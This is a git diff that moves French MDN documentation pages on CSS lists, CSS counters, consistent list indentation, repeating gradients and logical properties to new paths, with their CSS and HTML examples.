+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+}
+
+ +

{{EmbedLiveSample('Créer_un_tartan', 200, 200)}}

+ +

Répéter des dégradés radiaux

+ +

Ici, on utilise la fonction {{cssxref("repeating-radial-gradient")}} afin de créer un dégradé radial qui se répète. Les couleurs utilisées forment un cycle lorsque le motif unitaire recommence.

+ + + +
.repeating-radial {
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+
+ +

{{EmbedLiveSample('Répéter_des_dégradés_radiaux', 120, 120)}}

+ +

Répéter plusieurs dégradés radiaux

+ + + +
.multi-target {
+  background:
+      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+        rgba(255,255,255,0.5) 30px) top left no-repeat,
+      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+  background-size: 200px 200px, 150px 150px;
+}
+
+ +

{{EmbedLiveSample('Répéter_plusieurs_dégradés_radiaux', 250, 150)}}

+ +

Voir aussi

+ +
    +
  • Les fonctions de manipulation des dégradés +
      +
    • {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}}
      • +
    +
    • +
  • Les types de donnée CSS relatifs aux dégradés +
      +
    • {{cssxref("<gradient>")}}, {{cssxref("<image>")}}
      • +
    +
    • +
  • Certaines propriétés CSS qui permettent d'utiliser des dégradés +
      +
    • {{cssxref("background")}}, {{cssxref("background-image")}}
      • +
    +
    • +
  • Une bibliothèque de motifs de dégradés CSS, créée par Lea Verou
    • +
  • Un générateur de dégradé CSS
    • +
diff --git a/files/fr/web/css/css_lists/compteurs_css/index.html b/files/fr/web/css/css_lists/compteurs_css/index.html deleted file mode 100644 index 7ca83181c4..0000000000 --- a/files/fr/web/css/css_lists/compteurs_css/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Compteurs CSS -slug: Web/CSS/CSS_Lists/Compteurs_CSS -tags: - - Avancé - - CSS - - Guide -translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters ---- -
{{CSSRef}}
- -

Les compteurs CSS sont des variables dont les valeurs sont incrémentées par les règles CSS et qui permettent de savoir combien de fois elles sont utilisées. Cela permet par exemple d'adapter la mise en forme du contenu en fonction de son emplacement dans le document.

- -

La valeur d'un compteur peut être manipulée grâce aux propriétés {{cssxref("counter-reset")}}. {{cssxref("counter-increment")}} et on peut les afficher sur la page grâce aux fonctions counter() et counters() dans la propriété {{cssxref("content")}}.

- -

Utiliser les compteurs

- -

Manipuler la valeur d'un compteur

- -

Pour utiliser un compteur CSS, il faut d'abord réinitialiser sa valeur (0 par défaut) à l'aide de {{cssxref("counter-reset")}}. Pour incrémenter un compteur initialisé, on peut utiliser {{cssxref("counter-increment")}}. Attention le nom du compteur ne peut pas être none, inherit ou initial.

- -

Afficher un compteur

- -

Pour ajouter un compteur au contenu d'un élément, il faut utiliser la fonction {{cssxref("counter")}} ou {{cssxref("counters")}} dans une propriété {{cssxref("content")}}.

- -

La fonction counter() prend deux formes : counter(nom) ou counter(nom, style). Le texte ainsi généré est celui du compteur le plus proche avec ce nom. Le contenu est mis en forme avec le style indiqué (par défaut, c'est decimal).

- -

La fonction counters() prend également deux formes : counters(nom, chaine) ou counters(nom, chaine style). Le texte généré aura la valeur de l'ensemble des compteurs présents dans la portée du pseudo-élément (du plus loin au plus proche), séparés par la chaîne de caractères passée en argument. Les compteurs sont mis en forme avec le style indiqué (par défaut, c'est decimal).

- -

Exemple simple

- -

Dans l'exemple qui suit, la feuille de style CSS préfixe chaque titre de niveau 3 avec « Section <la valeur du compteur> : ».

- -
-

Note : La fonction {{cssxref("counter()")}} et la fonction {{cssxref("counters()")}} peuvent toutes les deux prendre un dernier argument qui correspond au style de liste utilisé (par défaut, c'est decimal).

-
- -

CSS

- -
body {
-  counter-reset: section;                    /* On initialise le compteur à 0 */
-}
-
-h3::before {
-  counter-increment: section;                /* On incrémente le compteur section */
-  content: "Section " counter(section) " : "; /* On affiche le compteur */
-}
-
- -

HTML

- -
<h3>Introduction</h3>
-<h3>Corps</h3>
-<h3>Conclusion</h3>
- -

Résultat

- -

{{EmbedLiveSample("Utiliser_les_compteurs", 300, 150)}}

- -

Imbriquer des compteurs

- -

Un compteur CSS est particulièrement utile lorsqu'il s'agit de gérer les listes générées dynamiquement. En utilisant la fonction {{cssxref("counters","counters()")}}, on peut insérer une chaîne de caractères entre les différents niveaux des compteurs imbriqués.

- -

CSS

- -
ol {
-  counter-reset: section;                /* On crée une nouvelle instance du
-                                            compteur section avec chaque ol */
-  list-style-type: none;
-}
-
-li::before {
-  counter-increment: section;            /* On incrémente uniquement cette
-                                            instance du compteur */
-  content: counters(section,".") " ";    /* On ajoute la valeur de toutes les
-                                            instances séparées par ".". */
-                                         /* Si on doit supporter < IE8 il faudra
-                                            faire attention à ce qu'il n'y ait
-                                            aucun blanc après ',' */
-}
-
- -

HTML

- -
<ol>
-  <li>item</li>          <!-- 1     -->
-  <li>item               <!-- 2     -->
-    <ol>
-      <li>item</li>      <!-- 2.1   -->
-      <li>item</li>      <!-- 2.2   -->
-      <li>item           <!-- 2.3   -->
-        <ol>
-          <li>item</li>  <!-- 2.3.1 -->
-          <li>item</li>  <!-- 2.3.2 -->
-        </ol>
-        <ol>
-          <li>item</li>  <!-- 2.3.1 -->
-          <li>item</li>  <!-- 2.3.2 -->
-          <li>item</li>  <!-- 2.3.3 -->
-        </ol>
-      </li>
-      <li>item</li>      <!-- 2.4   -->
-    </ol>
-  </li>
-  <li>item</li>          <!-- 3     -->
-  <li>item</li>          <!-- 4     -->
-</ol>
-<ol>
-  <li>item</li>          <!-- 1     -->
-  <li>item</li>          <!-- 2     -->
-</ol>
- -

Résultat

- -

{{EmbedLiveSample("Imbriquer_des_compteurs", 250, 350)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}{{Spec2("CSS3 Lists")}}Aucune modification.
{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}{{Spec2("CSS2.1")}}Définition initiale.
- -

Voir aussi

- -
    -
  • {{cssxref("counter-reset")}}
    • -
  • {{cssxref("counter-set")}}
    • -
  • {{cssxref("counter-increment")}}
    • -
  • {{cssxref("@counter-style")}}
    • -
diff --git "a/files/fr/web/css/css_lists/indentation_homog\303\250ne_des_listes/index.html" "b/files/fr/web/css/css_lists/indentation_homog\303\250ne_des_listes/index.html" deleted file mode 100644 index 52a1cfbc33..0000000000 --- "a/files/fr/web/css/css_lists/indentation_homog\303\250ne_des_listes/index.html" +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Indentation homogène des listes -slug: Web/CSS/CSS_Lists/Indentation_homogène_des_listes -tags: - - CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation ---- -
{{CSSRef}}
- -

La modification la plus fréquemment apportée sur une liste concerne la distance d'indentation (autrement dit, la distance de laquelle les éléments sont décalés vers la droite). Ce point peut être source de frustration car les navigateurs se comportent différemment à ce sujet. Ainsi, si on déclare une liste sans marge à gauche, elles sont déplacées Internet Explorer mais restent obstinément à la même place dans les navigateurs Gecko.

- -

Pour comprendre pourquoi cela se produit ainsi, et surtout afin d'éviter ces problèmes, nous allons devoir examiner en détail la construction des listes.

- -

Construire une liste

- -

Commençons par une simple liste minimale. L'élément de la liste ne possède aucune puce (le marqueur devant l'élément). Pour le moment, il ne fait pas partie d'une liste.

- -

- -

La bordure pointillée rouge représente la limite extérieure de la zone de contenu de l'élément de la liste. Pour le moment, cet élément ne possède ni remplissage (padding) ni bordure. Si on ajoute deux autres éléments à la liste, on obtient alors ce résultat :

- -

- -

À présent, nous allons placer ces éléments dans un élément parent. Pour cet exemple, nous utiliserons une liste non-ordonnée avec {{HTMLElement("ul")}}. Selon le modèle de boîtes CSS, les boîtes des éléments de la liste s'inscrivent dans la boîte de contenu de l'élément parent. Cette dernière n'a, pour l'instant, aucune marge ni aucun remplissage (padding). On obtient donc ce résultat :

- -

- -

Ici, la bordure pointillée bleue révèle les limites de la zone de contenu de l'élément ul. Puisqu'il n'a pas de remplissage (padding), cette limite épouse étroitement celles des trois éléments de la liste.

- -

On ajoute maintenant les puces aux éléments de la liste. Puisqu'il s'agit d'une liste non ordonnée, nous ajoutons les traditionnelles puces en forme de disques pleins, comme ceci :

- -

- -

Visuellement, ces marqueurs apparaissent en dehors de la zone de contenu de l'élément ul, mais ce n'est pas ce qui est le plus important ici. Ce qui compte, c'est que ces marqueurs prennent place en dehors de la « boîte principale » des éléments li. Ils apparaissent comme des sortes d'appendices aux items de liste, qui se tiennent en dehors de la zone de contenu de chaque item, tout en étant attaché à chaque li.

- -

C'est pourquoi, dans tous les navigateurs sauf Internet Explorer Windows, les marqueurs sont placés à l'extérieur des bordures de l'élément li, dès lors que la propriété {{cssxref("list-style-position")}} vaut outside. Si cette valeur est changée en inside, les marqueurs seront alors déplacés à l'intérieur du contenu des éléments li, comme s'il s'agissait d'une boîte en ligne placée au tout début de ceux-ci.

- -

Obtenir une double indentation

- -

Comment cela va-t-il être rendu dans un document ? Pour le moment, nous avons un résultat équivalent à ces styles :

- -
ul, li {
-  margin-left: 0;
-  padding-left: 0;
-}
- -

Si nous plaçons cette liste en l'état dans un document, elle n'aura aucune indentation apparente, et nos marqueurs courront le risque d'être rejetés au-delà de la limite gauche de la fenêtre du navigateur.

- -

Afin d'éviter ça et d'imposer une indentation, le navigateur pourra implémenter l'une des trois approches suivantes :

- -
    -
  1. Doter chaque élément li d'une marge gauche ;
    2. -
  2. Doter chaque élément ul d'une marge gauche ;
    3. -
  3. Doter chaque élément ul d'un padding gauche quelconque.
    4. -
- -

Telles que les choses se sont faites, aucun navigateur ne semble avoir choisi la première solution. Internet Explorer pour Windows et Macintosh, ainsi qu'Opera, ont adopté la seconde solution. La troisième a été choisie par Gecko et donc par tous les navigateurs embarquant celui-ci.

- -

Observons de plus près ces deux dernières approches. Dans Internet Explorer et Opera, les listes sont indentées en fixant une marge gauche de 40 pixels pour l'élément ul. Si nous appliquons une couleur d'arrière-plan, à celui-ci en conservant les bordures des éléments de la liste et de cet élément ul, nous obtenons le résultat qui suit :

- -

- -

De son côté, Gecko applique un padding gauche de 40 pixels à cet élément ul. Avec les mêmes styles que dans le cas précédent, notre exemple s'affichera dans un navigateur basé sur Gecko de la façon suivante :

- -


-

- -

Comme nous pouvons le voir, les marqueurs restent attachés aux éléments li, où qu'ils soient. La différence réside uniquement dans la manière dont l'élément ul est mis en forme. Nous ne pouvons voir cette différence que si nous essayons de donner un arrière-plan ou des bordures à cet élément ul

- -

Obtenir un rendu homogène

- -

Après ces observations, nous obtenons la conclusion suivante : si on souhaite obtenir un rendu de liste homogène entre Gecko, Internet Explorer et Opera, il est nécessaire de spécifier à la fois la marge gauche et le padding gauche de l'élément ul. L'élément li peut être ignoré ici. Si vous voulez reproduire le rendu par défaut de Netscape 6.x, vous écrirez :

- -
ul {
-  margin-left: 0;
-  padding-left: 40px;
-}
- -

Si vous préférez suivre le modèle Internet Explorer/Opera, vous écrirez alors :

- -
ul {
-  margin-left: 40px;
-  padding-left: 0;
-}
- -

Naturellement, vous pouvez utiliser les valeurs de votre choix. Les fixer toutes deux à 1.25em si vous en avez envie - il n'y a aucune raison de s'en tenir uniquement à des valeurs en pixels. Et si vous voulez obtenir des listes sans indentation, vous devrez alors, là encore, spécifier à la fois un padding et une marge nuls :

- -
ul {
-  margin-left: 0;
-  padding-left: 0;
-}
- -

Souvenez-vous, cependant, qu'en faisant ainsi, vos puces se tiendront en dehors de votre liste et de son élément parent. Si ce parent est l'élément body, il y a de fortes chances qu'elles se retrouvent complètement en dehors de la fenêtre d'affichage du navigateur et qu'elles ne soient donc invisibles.

- -

Conclusion

- -

Au bout du compte, on voit qu'aucun des navigateurs mentionnés dans cet article n'a tort ou raison sur ce point. Ces navigateurs utilisent différents styles par défaut et c'est là que réside le seul problème. En veillant à mettre en forme à la fois la marge gauche et le padding gauche des listes, on peut obtenir un rendu bien plus homogène de l'indentation sur les différents navigateurs.

- -

Recommandations

- -
    -
  • Lorsque vous modifiez l'indentation des listes, veillez à indiquer à la fois le padding et la marge.
    • -
diff --git a/files/fr/web/css/css_lists/index.html b/files/fr/web/css/css_lists/index.html deleted file mode 100644 index 781d7cb961..0000000000 --- a/files/fr/web/css/css_lists/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: CSS Lists -slug: Web/CSS/CSS_Lists -tags: - - CSS - - Reference -translation_of: Web/CSS/CSS_Lists_and_Counters ---- -
{{CSSRef}}
- -

CSS Lists (listes CSS) est un module CSS qui définit la façon dont les listes sont mises en forme, comment des styles peuvent être appliqués aux marqueurs.

- -

Référence

- -

Propriétés

- -
-
    -
  • {{cssxref("list-style-image")}}
    • -
  • {{cssxref("list-style-type")}}
    • -
  • {{cssxref("list-style-position")}}
    • -
  • {{cssxref("list-style")}}
    • -
-
- -

Guides

- -
-
Indentation homogène des listes
-
Explique comment obtenir une indentation homogène dans les différents navigateurs.
-
Utiliser les compteurs CSS
-
Explique comment utiliser les propriétés CSS relatives aux compteurs pour numéroter les listes.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Lists')}}{{Spec2('CSS3 Lists')}}
{{SpecName('CSS2.1', 'generate.html')}}{{Spec2('CSS2.1')}}Définition initiale.
diff --git a/files/fr/web/css/css_lists_and_counters/consistent_list_indentation/index.html b/files/fr/web/css/css_lists_and_counters/consistent_list_indentation/index.html new file mode 100644 index 0000000000..52a1cfbc33 --- /dev/null +++ b/files/fr/web/css/css_lists_and_counters/consistent_list_indentation/index.html @@ -0,0 +1,105 @@ +--- +title: Indentation homogène des listes +slug: Web/CSS/CSS_Lists/Indentation_homogène_des_listes +tags: + - CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation +--- +
{{CSSRef}}
+ +

La modification la plus fréquemment apportée sur une liste concerne la distance d'indentation (autrement dit, la distance de laquelle les éléments sont décalés vers la droite). Ce point peut être source de frustration car les navigateurs se comportent différemment à ce sujet. Ainsi, si on déclare une liste sans marge à gauche, elles sont déplacées Internet Explorer mais restent obstinément à la même place dans les navigateurs Gecko.

+ +

Pour comprendre pourquoi cela se produit ainsi, et surtout afin d'éviter ces problèmes, nous allons devoir examiner en détail la construction des listes.

+ +

Construire une liste

+ +

Commençons par une simple liste minimale. L'élément de la liste ne possède aucune puce (le marqueur devant l'élément). Pour le moment, il ne fait pas partie d'une liste.

+ +

+ +

La bordure pointillée rouge représente la limite extérieure de la zone de contenu de l'élément de la liste. Pour le moment, cet élément ne possède ni remplissage (padding) ni bordure. Si on ajoute deux autres éléments à la liste, on obtient alors ce résultat :

+ +

+ +

À présent, nous allons placer ces éléments dans un élément parent. Pour cet exemple, nous utiliserons une liste non-ordonnée avec {{HTMLElement("ul")}}. Selon le modèle de boîtes CSS, les boîtes des éléments de la liste s'inscrivent dans la boîte de contenu de l'élément parent. Cette dernière n'a, pour l'instant, aucune marge ni aucun remplissage (padding). On obtient donc ce résultat :

+ +

+ +

Ici, la bordure pointillée bleue révèle les limites de la zone de contenu de l'élément ul. Puisqu'il n'a pas de remplissage (padding), cette limite épouse étroitement celles des trois éléments de la liste.

+ +

On ajoute maintenant les puces aux éléments de la liste. Puisqu'il s'agit d'une liste non ordonnée, nous ajoutons les traditionnelles puces en forme de disques pleins, comme ceci :

+ +

+ +

Visuellement, ces marqueurs apparaissent en dehors de la zone de contenu de l'élément ul, mais ce n'est pas ce qui est le plus important ici. Ce qui compte, c'est que ces marqueurs prennent place en dehors de la « boîte principale » des éléments li. Ils apparaissent comme des sortes d'appendices aux items de liste, qui se tiennent en dehors de la zone de contenu de chaque item, tout en étant attaché à chaque li.

+ +

C'est pourquoi, dans tous les navigateurs sauf Internet Explorer Windows, les marqueurs sont placés à l'extérieur des bordures de l'élément li, dès lors que la propriété {{cssxref("list-style-position")}} vaut outside. Si cette valeur est changée en inside, les marqueurs seront alors déplacés à l'intérieur du contenu des éléments li, comme s'il s'agissait d'une boîte en ligne placée au tout début de ceux-ci.

+ +

Obtenir une double indentation

+ +

Comment cela va-t-il être rendu dans un document ? Pour le moment, nous avons un résultat équivalent à ces styles :

+ +
ul, li {
+  margin-left: 0;
+  padding-left: 0;
+}
+ +

Si nous plaçons cette liste en l'état dans un document, elle n'aura aucune indentation apparente, et nos marqueurs courront le risque d'être rejetés au-delà de la limite gauche de la fenêtre du navigateur.

+ +

Afin d'éviter ça et d'imposer une indentation, le navigateur pourra implémenter l'une des trois approches suivantes :

+ +
    +
  1. Doter chaque élément li d'une marge gauche ;
    2. +
  2. Doter chaque élément ul d'une marge gauche ;
    3. +
  3. Doter chaque élément ul d'un padding gauche quelconque.
    4. +
+ +

Telles que les choses se sont faites, aucun navigateur ne semble avoir choisi la première solution. Internet Explorer pour Windows et Macintosh, ainsi qu'Opera, ont adopté la seconde solution. La troisième a été choisie par Gecko et donc par tous les navigateurs embarquant celui-ci.

+ +

Observons de plus près ces deux dernières approches. Dans Internet Explorer et Opera, les listes sont indentées en fixant une marge gauche de 40 pixels pour l'élément ul. Si nous appliquons une couleur d'arrière-plan, à celui-ci en conservant les bordures des éléments de la liste et de cet élément ul, nous obtenons le résultat qui suit :

+ +

+ +

De son côté, Gecko applique un padding gauche de 40 pixels à cet élément ul. Avec les mêmes styles que dans le cas précédent, notre exemple s'affichera dans un navigateur basé sur Gecko de la façon suivante :

+ +


+

+ +

Comme nous pouvons le voir, les marqueurs restent attachés aux éléments li, où qu'ils soient. La différence réside uniquement dans la manière dont l'élément ul est mis en forme. Nous ne pouvons voir cette différence que si nous essayons de donner un arrière-plan ou des bordures à cet élément ul

+ +

Obtenir un rendu homogène

+ +

Après ces observations, nous obtenons la conclusion suivante : si on souhaite obtenir un rendu de liste homogène entre Gecko, Internet Explorer et Opera, il est nécessaire de spécifier à la fois la marge gauche et le padding gauche de l'élément ul. L'élément li peut être ignoré ici. Si vous voulez reproduire le rendu par défaut de Netscape 6.x, vous écrirez :

+ +
ul {
+  margin-left: 0;
+  padding-left: 40px;
+}
+ +

Si vous préférez suivre le modèle Internet Explorer/Opera, vous écrirez alors :

+ +
ul {
+  margin-left: 40px;
+  padding-left: 0;
+}
+ +

Naturellement, vous pouvez utiliser les valeurs de votre choix. Les fixer toutes deux à 1.25em si vous en avez envie - il n'y a aucune raison de s'en tenir uniquement à des valeurs en pixels. Et si vous voulez obtenir des listes sans indentation, vous devrez alors, là encore, spécifier à la fois un padding et une marge nuls :

+ +
ul {
+  margin-left: 0;
+  padding-left: 0;
+}
+ +

Souvenez-vous, cependant, qu'en faisant ainsi, vos puces se tiendront en dehors de votre liste et de son élément parent. Si ce parent est l'élément body, il y a de fortes chances qu'elles se retrouvent complètement en dehors de la fenêtre d'affichage du navigateur et qu'elles ne soient donc invisibles.

+ +

Conclusion

+ +

Au bout du compte, on voit qu'aucun des navigateurs mentionnés dans cet article n'a tort ou raison sur ce point. Ces navigateurs utilisent différents styles par défaut et c'est là que réside le seul problème. En veillant à mettre en forme à la fois la marge gauche et le padding gauche des listes, on peut obtenir un rendu bien plus homogène de l'indentation sur les différents navigateurs.

+ +

Recommandations

+ +
    +
  • Lorsque vous modifiez l'indentation des listes, veillez à indiquer à la fois le padding et la marge.
    • +
diff --git a/files/fr/web/css/css_lists_and_counters/index.html b/files/fr/web/css/css_lists_and_counters/index.html new file mode 100644 index 0000000000..781d7cb961 --- /dev/null +++ b/files/fr/web/css/css_lists_and_counters/index.html @@ -0,0 +1,57 @@ +--- +title: CSS Lists +slug: Web/CSS/CSS_Lists +tags: + - CSS + - Reference +translation_of: Web/CSS/CSS_Lists_and_Counters +--- +
{{CSSRef}}
+ +

CSS Lists (listes CSS) est un module CSS qui définit la façon dont les listes sont mises en forme, comment des styles peuvent être appliqués aux marqueurs.

+ +

Référence

+ +

Propriétés

+ +
+
    +
  • {{cssxref("list-style-image")}}
    • +
  • {{cssxref("list-style-type")}}
    • +
  • {{cssxref("list-style-position")}}
    • +
  • {{cssxref("list-style")}}
    • +
+
+ +

Guides

+ +
+
Indentation homogène des listes
+
Explique comment obtenir une indentation homogène dans les différents navigateurs.
+
Utiliser les compteurs CSS
+
Explique comment utiliser les propriétés CSS relatives aux compteurs pour numéroter les listes.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Lists')}}{{Spec2('CSS3 Lists')}}
{{SpecName('CSS2.1', 'generate.html')}}{{Spec2('CSS2.1')}}Définition initiale.
diff --git a/files/fr/web/css/css_lists_and_counters/using_css_counters/index.html b/files/fr/web/css/css_lists_and_counters/using_css_counters/index.html new file mode 100644 index 0000000000..7ca83181c4 --- /dev/null +++ b/files/fr/web/css/css_lists_and_counters/using_css_counters/index.html @@ -0,0 +1,148 @@ +--- +title: Compteurs CSS +slug: Web/CSS/CSS_Lists/Compteurs_CSS +tags: + - Avancé + - CSS + - Guide +translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +--- +
{{CSSRef}}
+ +

Les compteurs CSS sont des variables dont les valeurs sont incrémentées par les règles CSS et qui permettent de savoir combien de fois elles sont utilisées. Cela permet par exemple d'adapter la mise en forme du contenu en fonction de son emplacement dans le document.

+ +

La valeur d'un compteur peut être manipulée grâce aux propriétés {{cssxref("counter-reset")}}. {{cssxref("counter-increment")}} et on peut les afficher sur la page grâce aux fonctions counter() et counters() dans la propriété {{cssxref("content")}}.

+ +

Utiliser les compteurs

+ +

Manipuler la valeur d'un compteur

+ +

Pour utiliser un compteur CSS, il faut d'abord réinitialiser sa valeur (0 par défaut) à l'aide de {{cssxref("counter-reset")}}. Pour incrémenter un compteur initialisé, on peut utiliser {{cssxref("counter-increment")}}. Attention le nom du compteur ne peut pas être none, inherit ou initial.

+ +

Afficher un compteur

+ +

Pour ajouter un compteur au contenu d'un élément, il faut utiliser la fonction {{cssxref("counter")}} ou {{cssxref("counters")}} dans une propriété {{cssxref("content")}}.

+ +

La fonction counter() prend deux formes : counter(nom) ou counter(nom, style). Le texte ainsi généré est celui du compteur le plus proche avec ce nom. Le contenu est mis en forme avec le style indiqué (par défaut, c'est decimal).

+ +

La fonction counters() prend également deux formes : counters(nom, chaine) ou counters(nom, chaine style). Le texte généré aura la valeur de l'ensemble des compteurs présents dans la portée du pseudo-élément (du plus loin au plus proche), séparés par la chaîne de caractères passée en argument. Les compteurs sont mis en forme avec le style indiqué (par défaut, c'est decimal).

+ +

Exemple simple

+ +

Dans l'exemple qui suit, la feuille de style CSS préfixe chaque titre de niveau 3 avec « Section <la valeur du compteur> : ».

+ +
+

Note : La fonction {{cssxref("counter()")}} et la fonction {{cssxref("counters()")}} peuvent toutes les deux prendre un dernier argument qui correspond au style de liste utilisé (par défaut, c'est decimal).

+
+ +

CSS

+ +
body {
+  counter-reset: section;                    /* On initialise le compteur à 0 */
+}
+
+h3::before {
+  counter-increment: section;                /* On incrémente le compteur section */
+  content: "Section " counter(section) " : "; /* On affiche le compteur */
+}
+
+ +

HTML

+ +
<h3>Introduction</h3>
+<h3>Corps</h3>
+<h3>Conclusion</h3>
+ +

Résultat

+ +

{{EmbedLiveSample("Utiliser_les_compteurs", 300, 150)}}

+ +

Imbriquer des compteurs

+ +

Un compteur CSS est particulièrement utile lorsqu'il s'agit de gérer les listes générées dynamiquement. En utilisant la fonction {{cssxref("counters","counters()")}}, on peut insérer une chaîne de caractères entre les différents niveaux des compteurs imbriqués.

+ +

CSS

+ +
ol {
+  counter-reset: section;                /* On crée une nouvelle instance du
+                                            compteur section avec chaque ol */
+  list-style-type: none;
+}
+
+li::before {
+  counter-increment: section;            /* On incrémente uniquement cette
+                                            instance du compteur */
+  content: counters(section,".") " ";    /* On ajoute la valeur de toutes les
+                                            instances séparées par ".". */
+                                         /* Si on doit supporter < IE8 il faudra
+                                            faire attention à ce qu'il n'y ait
+                                            aucun blanc après ',' */
+}
+
+ +

HTML

+ +
<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item               <!-- 2     -->
+    <ol>
+      <li>item</li>      <!-- 2.1   -->
+      <li>item</li>      <!-- 2.2   -->
+      <li>item           <!-- 2.3   -->
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+        </ol>
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+          <li>item</li>  <!-- 2.3.3 -->
+        </ol>
+      </li>
+      <li>item</li>      <!-- 2.4   -->
+    </ol>
+  </li>
+  <li>item</li>          <!-- 3     -->
+  <li>item</li>          <!-- 4     -->
+</ol>
+<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item</li>          <!-- 2     -->
+</ol>
+ +

Résultat

+ +

{{EmbedLiveSample("Imbriquer_des_compteurs", 250, 350)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}{{Spec2("CSS3 Lists")}}Aucune modification.
{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}{{Spec2("CSS2.1")}}Définition initiale.
+ +

Voir aussi

+ +
    +
  • {{cssxref("counter-reset")}}
    • +
  • {{cssxref("counter-set")}}
    • +
  • {{cssxref("counter-increment")}}
    • +
  • {{cssxref("@counter-style")}}
    • +
diff --git a/files/fr/web/css/css_logical_properties/basic_concepts/index.html b/files/fr/web/css/css_logical_properties/basic_concepts/index.html new file mode 100644 index 0000000000..4129c926c7 --- /dev/null +++ b/files/fr/web/css/css_logical_properties/basic_concepts/index.html @@ -0,0 +1,75 @@ +--- +title: Concepts de base des propriétés et valeurs logiques +slug: Web/CSS/CSS_Logical_Properties/Concepts_de_base +tags: + - CSS + - Guide + - Propriété logique +translation_of: Web/CSS/CSS_Logical_Properties/Basic_concepts +--- +
{{CSSRef}}
+ +

La spécification relative aux propriétés et valeurs logiques introduit une correspondance relative au flux pour de nombreuses propriétés et valeurs CSS. Dans cet article, nous verrons une introduction de cette spécification et expliquerons les propriétés et valeurs relatives au flux.

+ +

Quel intérêt pour les propriétés logiques ?

+ +

Historiquement, CSS permettait de dimensionner des objets selon les dimensions physiques de l'écran. On pouvait alors décrire des boîtes avec une certaine largeur ({{CSSxRef("width")}}) et une certaine hauteur ({{CSSxRef("height")}}), positionner les éléments à partir du haut (top) et de la gauche (left), faire flotter les objets, créer des bordures, des marges, du remplissage (padding) en haut, à droite, en bas et à gauche (resp. top, right, bottom, left, etc.). La spécification sur les propriétés et valeurs logiques définit des correspondances entres ces valeurs physiques et des valeurs logiques, relatives au flux : start et end plutôt que left et right ou top et bottom.

+ +

Prenons un exemple pour comprendre la nécessité de telles propriétés et valeurs logiques. On dispose d'une grille CSS et le conteneur de la grille possède une certaine largeur. On y utilise {{CSSxRef("align-self")}} et {{CSSxRef("justify-self")}} afin d'aligner les éléments à l'intérieur de la grille. Ces propriétés sont relatives au flux : justify-self: start aligne l'élément au début de l'axe en ligne et align-self: start aligne l'élément au début de l'axe de bloc.

+ +

A grid in a horizontal writing mode

+ +

Si on change le mode d'écriture de ce composant grâce à la propriété {{CSSxRef("writing-mode")}} et avec la valeur vertical-rl, l'alignement continue de fonctionner de la même façon : l'axe en ligne est désormais l'axe vertical et l'axe de bloc court horizontalement. La grille n'a cependant pas la même allure car la largeur est nécessairement définie pour l'axe horizontal : de façon physique et pas relativement au flux de texte.

+ +

A grid in vertical writing mode.

+ +

Si on avait utilisé la propriété logique {{CSSxRef("inline-size")}} plutôt que width, le composant aurait gardé les mêmes proportions, quel que soit le mode d'écriture utilisé.

+ +

A grid layout in vertical writing mode

+ +

Vous pouvez essayer ces différentes valeurs dans l'exemple qui suit et notamment modifier la propriété writing-mode pour la passer de vertical-rl à horizontal-tb sur le sélecteur .box afin d'observer la façon dont les différentes propriétés modifient la disposition.

+ +

{{EmbedGHLiveSample("css-examples/logical/intro-grid-example.html", '100%', 700)}}

+ +

Lorsqu'on travaille sur un site où on utilise un mode d'écriture qui n'est pas horizontal et progressant du haut vers le bas ou qu'on travaille sur un concept créatif, pouvoir utiliser des concepts relatifs au flux plutôt que des valeurs géométriques absolues.

+ +

Axe de bloc et axe en ligne

+ +

Lorsqu'on travaille avec les propriétés et les valeurs logiques, il y a deux concepts majeurs : l'axe de bloc et l'axe en ligne qui sont les deux dimensions de l'espace. Comme nous l'avons vu avant, les nouvelles méthodes de disposition CSS (comme les boîtes flexibles et les grilles CSS) utilisent les concepts de block et inline plutôt que right et left/top et bottom pour l'alignement des objets.

+ +

